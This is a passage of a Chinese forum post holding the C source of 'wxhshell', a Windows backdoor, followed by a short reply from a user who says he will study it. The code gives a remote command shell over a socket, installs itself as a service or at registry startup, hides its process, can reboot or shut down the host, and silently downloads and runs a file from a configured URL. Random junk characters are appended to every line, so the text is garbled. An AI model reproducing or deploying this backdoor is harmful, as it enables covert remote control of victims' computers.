  if(DownloadFile(cmd,wsh)) }tbZ[:T{K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |u.3Tp|3W  
  else 6|Xm8,]yRw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }'4aW_ta  
  } Nc*z?0wP  
  else { [fg-"-+:M  
T^S $|d  
    switch(cmd[0]) { -*;JUSGh  
  5}:`CC2,S~  
  // 帮助 Qb@i_SX(fs  
  case '?': { ^4=%~Yx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Asli<L(?`  
    break; }^azj>p5  
  } 1SG^X-(GM/  
  // 安装 :`Xg0J+P  
  case 'i': { |H;+9(  
    if(Install()) s,~g| I\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h"dn:5G:=  
    else Jm-bE 8b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?pV!`vp^{  
    break; yUvn h  
    } 0A F}wz>  
  // 卸载  6Ok]E`  
  case 'r': { qP72JxT  
    if(Uninstall()) x<=R?4@rq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5t`YcL  
    else .}n\c%&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |9]_<X[ic  
    break; Ie/dMB=t  
    } Y``]66\Fp  
  // 显示 wxhshell 所在路径 T]2=  
  case 'p': { 0xc|Wn>  
    char svExeFile[MAX_PATH]; {GG;/Ns{f-  
    strcpy(svExeFile,"\n\r"); t>eeOWk3  
      strcat(svExeFile,ExeFile); 7Jn%c<s  
        send(wsh,svExeFile,strlen(svExeFile),0); %jxeh.B3B  
    break; 5RR4jX]  
    } ageTv/  
  // 重启 )F4BVPI  
  case 'b': { ->2m/d4a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [p_<`gU?  
    if(Boot(REBOOT)) 2 @t?@,c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $J*lD -h-  
    else { @gk{wh>c  
    closesocket(wsh); [n&SA]a  
    ExitThread(0); :i* =s}cv  
    } ;-8]  
    break; $tDM U3,W  
    } | A# \5u  
  // 关机 Ym 1; /'  
  case 'd': { V:2{LR<R8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3y yVI#  
    if(Boot(SHUTDOWN)) &S8,-~U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z=s.`?Z  
    else { ]r>m{"~E  
    closesocket(wsh); I.kuYD62  
    ExitThread(0); Cps' l  
    } f'O cW* t  
    break; ov,[F< GT  
    } &)!4rABn  
  // 获取shell _J>!K'Dz  
  case 's': { UHX,s  
    CmdShell(wsh); ~;0W +  
    closesocket(wsh); ^a=V.  
    ExitThread(0); 7myYs7N8[  
    break; r+,JM L   
  } t_ id/  
  // 退出 d?N[bA  
  case 'x': { MC%!>,tC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *`V r P  
    CloseIt(wsh); R[}fr36>/  
    break; !%/(a)B$^$  
    } mLDuizWI  
  // 离开 ozW\`  
  case 'q': { OXF/4Oe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =J'&.@Dwz  
    closesocket(wsh); Pp`[E/ qj4  
    WSACleanup(); CB`GiH/j  
    exit(1);   9EWw  
    break; @P<aTRy,f  
        } dlBr2 9  
  } N[kl3h%q  
  } lCGEd  3  
%:\GYs(Y  
  // 提示信息 A}_0iwG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `+@r0:G&v  
} >)VWXv0  
  } CQH^VTQ  
-lb%X 3`  
  return; C#P7@JE  
} na_Wp^;  
t""d^a#Dp  
// shell模块句柄 yQ| V7G  
int CmdShell(SOCKET sock) E51S#T  
{  yHn8t]{  
STARTUPINFO si; qEM,~:lTn  
ZeroMemory(&si,sizeof(si)); hI,+J>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pet q6)g?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =h[;'v{  
PROCESS_INFORMATION ProcessInfo; ?gG%FzfQ/  
char cmdline[]="cmd"; $'COsiK7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )p[Qj58  
  return 0; n7hjYNJ  
} LrdX^_,nt  
5Vlm?mPU  
// 自身启动模式 hHyB;(3~  
int StartFromService(void) 3V3q vd  
{ Dp^6|T*HU  
typedef struct "s7}eWM*a  
{ w exa\o  
  DWORD ExitStatus; LknV47vd  
  DWORD PebBaseAddress; s"x(i  
  DWORD AffinityMask; T2 /u7<D-  
  DWORD BasePriority; )|KZGr  
  ULONG UniqueProcessId; R*VEeLx  
  ULONG InheritedFromUniqueProcessId; (>`S{L C>s  
}   PROCESS_BASIC_INFORMATION; ]s` cn}d  
LX m@h  
PROCNTQSIP NtQueryInformationProcess; /l;_ xs  
)u]1j@Id  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #=#bv`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6o~g3{Ow  
&;%, Axc  
  HANDLE             hProcess; C5=m~  
  PROCESS_BASIC_INFORMATION pbi; [S?`OF12  
Og?P5&C"9D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `Wp y6o  
  if(NULL == hInst ) return 0; Nl9}*3r  
"MgTfUIiyD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  !qTP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )npvy>C'(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UDV6 ##$  
`/9&o;qM   
  if (!NtQueryInformationProcess) return 0; 4v.i!U# {  
+HoCG;C{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bM"d$tl$?'  
  if(!hProcess) return 0; =:m6ge@C&H  
ai;-_M+$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >z k6{kC  
wPaMYxO/  
  CloseHandle(hProcess); DlQ*'PX7  
:xC1Ka%~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l|fb;Giq=D  
if(hProcess==NULL) return 0; _7,4C?  
,{BF`5bn|  
HMODULE hMod; CW?R7A/  
char procName[255]; -"}nm!j /5  
unsigned long cbNeeded; 2cko GafG{  
x{1S!A^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tW%!|T5/  
M)CQ|P  
  CloseHandle(hProcess); MsP`w3b  
S&MF; E6  
if(strstr(procName,"services")) return 1; // 以服务启动 ?F9c6$|  
Z=^~]Mfa  
  return 0; // 注册表启动 r(I&`kF<  
} y(Tb=:  
QQQN}!xPj  
// 主模块 v[<;z(7Qk  
int StartWxhshell(LPSTR lpCmdLine) T 5>'q;jM  
{ sDjbvC0  
  SOCKET wsl; n(j5dN>]  
BOOL val=TRUE; \6vr)1~N>  
  int port=0; -8z@FLUK-  
  struct sockaddr_in door; W.?EjEx  
pW-aX)\DR  
  if(wscfg.ws_autoins) Install(); BP8jReX^  
3Cg0^~?6-  
port=atoi(lpCmdLine); _o{w<b&  
rM)#}eZK!  
if(port<=0) port=wscfg.ws_port; j "e]Ui  
JF(&+\i<p  
  WSADATA data; #=czqZw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -"d&Ow7o  
-x+K#T0Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d ZxrIWx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MR.c?P?0Q  
  door.sin_family = AF_INET; f# sDG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~-#8j3 J;  
  door.sin_port = htons(port); BZk0B ?  
8W x7%@^O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !%>(O@~"|  
closesocket(wsl); #F ;@Qi3z  
return 1; j:[ #eC  
} AV;x'H7G  
NH!x6p]n  
  if(listen(wsl,2) == INVALID_SOCKET) { K#[ z5  
closesocket(wsl); $TFWum9wO  
return 1; imZ"4HnPP  
} 0w?G&jjNtM  
  Wxhshell(wsl); kNv/L $oG  
  WSACleanup(); zUz j F  
%dq |)r  
return 0; EO G&Xa  
T49^  
} 5`{u! QE  
C |P(,Xp  
// 以NT服务方式启动 \'>d.'d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7-4S'rq+  
{ *iXaQuT  
DWORD   status = 0; dd!Q[]$ }  
  DWORD   specificError = 0xfffffff; C$^WW}S  
AO]1`b:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KWH:tFL.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8P*wt'Q$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TH? wXd\  
  serviceStatus.dwWin32ExitCode     = 0; C*Wyw]:r  
  serviceStatus.dwServiceSpecificExitCode = 0; Wrs6t  
  serviceStatus.dwCheckPoint       = 0; ;I]$N]8YI  
  serviceStatus.dwWaitHint       = 0; o*:D/"gb  
O.$OLK;v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <4jqF 4 W  
  if (hServiceStatusHandle==0) return; +/!y#&C&*  
}cERCS\t  
status = GetLastError(); Z^%aXaf8  
  if (status!=NO_ERROR) ]ujXPK=t  
{ 6}?5Oy_XF2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P/T`q:<H   
    serviceStatus.dwCheckPoint       = 0; 3/EJ^C  
    serviceStatus.dwWaitHint       = 0; SVqKG+{My  
    serviceStatus.dwWin32ExitCode     = status; eOs4c`  
    serviceStatus.dwServiceSpecificExitCode = specificError; @T&w n k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @8U8>'zDE  
    return; F 8 gw3  
  } nD#uOep9  
_TjRvILC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G!g];7PG(  
  serviceStatus.dwCheckPoint       = 0; `_ )5K u}  
  serviceStatus.dwWaitHint       = 0; A9ZK :i7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !'8jy_<9  
} Z>J3DH  
SfUbjs@a  
// 处理NT服务事件,比如:启动、停止 @~`:sa+H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0 1:(QJ  
{ <& iLMb:%  
switch(fdwControl) F3&:KZ!V&m  
{ h?-M+Ac  
case SERVICE_CONTROL_STOP: &?3P5dy_  
  serviceStatus.dwWin32ExitCode = 0; UaM&/K9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _t@9WA;+\  
  serviceStatus.dwCheckPoint   = 0; aHBM9%gV  
  serviceStatus.dwWaitHint     = 0; YAYwrKt  
  { c->?'h23)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); osI0m7ws:  
  } QHw{@*  
  return; QUz_2rN^  
case SERVICE_CONTROL_PAUSE: ?io ,8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uF<\|y rFt  
  break; YL9Tsw  
case SERVICE_CONTROL_CONTINUE: XrN]}S$N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  n[  
  break; >o! 5)\F  
case SERVICE_CONTROL_INTERROGATE: CzG/=#IU  
  break; !s47A"O&B  
}; 6yhRcvJ}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AJ)N?s-=  
} Zr$D\(hX  
C&&33L  
// 标准应用程序主函数 F{FSmUxzK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JwcC9 O  
{ RgLkAHA  
Zl{ DqC^  
// 获取操作系统版本 apv"s+  
OsIsNt=GetOsVer(); Sbjc8V ut  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PAs.T4Av^  
ZG1 {"J/z  
  // 从命令行安装 2GJp`2(%dA  
  if(strpbrk(lpCmdLine,"iI")) Install(); AqjEz+TVt  
#E@X'jwu  
  // 下载执行文件 vz`r !xj)  
if(wscfg.ws_downexe) { @S?D}myD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G[\3)@I  
  WinExec(wscfg.ws_filenam,SW_HIDE); c}D>.x|]  
} z-;yDB:~t  
1L<X+,]@  
if(!OsIsNt) { G33'Cgo:,  
// 如果时win9x,隐藏进程并且设置为注册表启动 !E_RD,_  
HideProc(); MFs W  
StartWxhshell(lpCmdLine); % e1`wMa  
} SOQR(UT  
else }!@X(S!do  
  if(StartFromService()) tnFhL&  
  // 以服务方式启动 Zksow}%  
  StartServiceCtrlDispatcher(DispatchTable); 7:X@lmBz=  
else Qd"u$~ qC  
  // 普通方式启动 xoNn'LF#u  
  StartWxhshell(lpCmdLine); A&=`?4>  
onF?;>[  
return 0; Pc=:j(  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录 或 注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五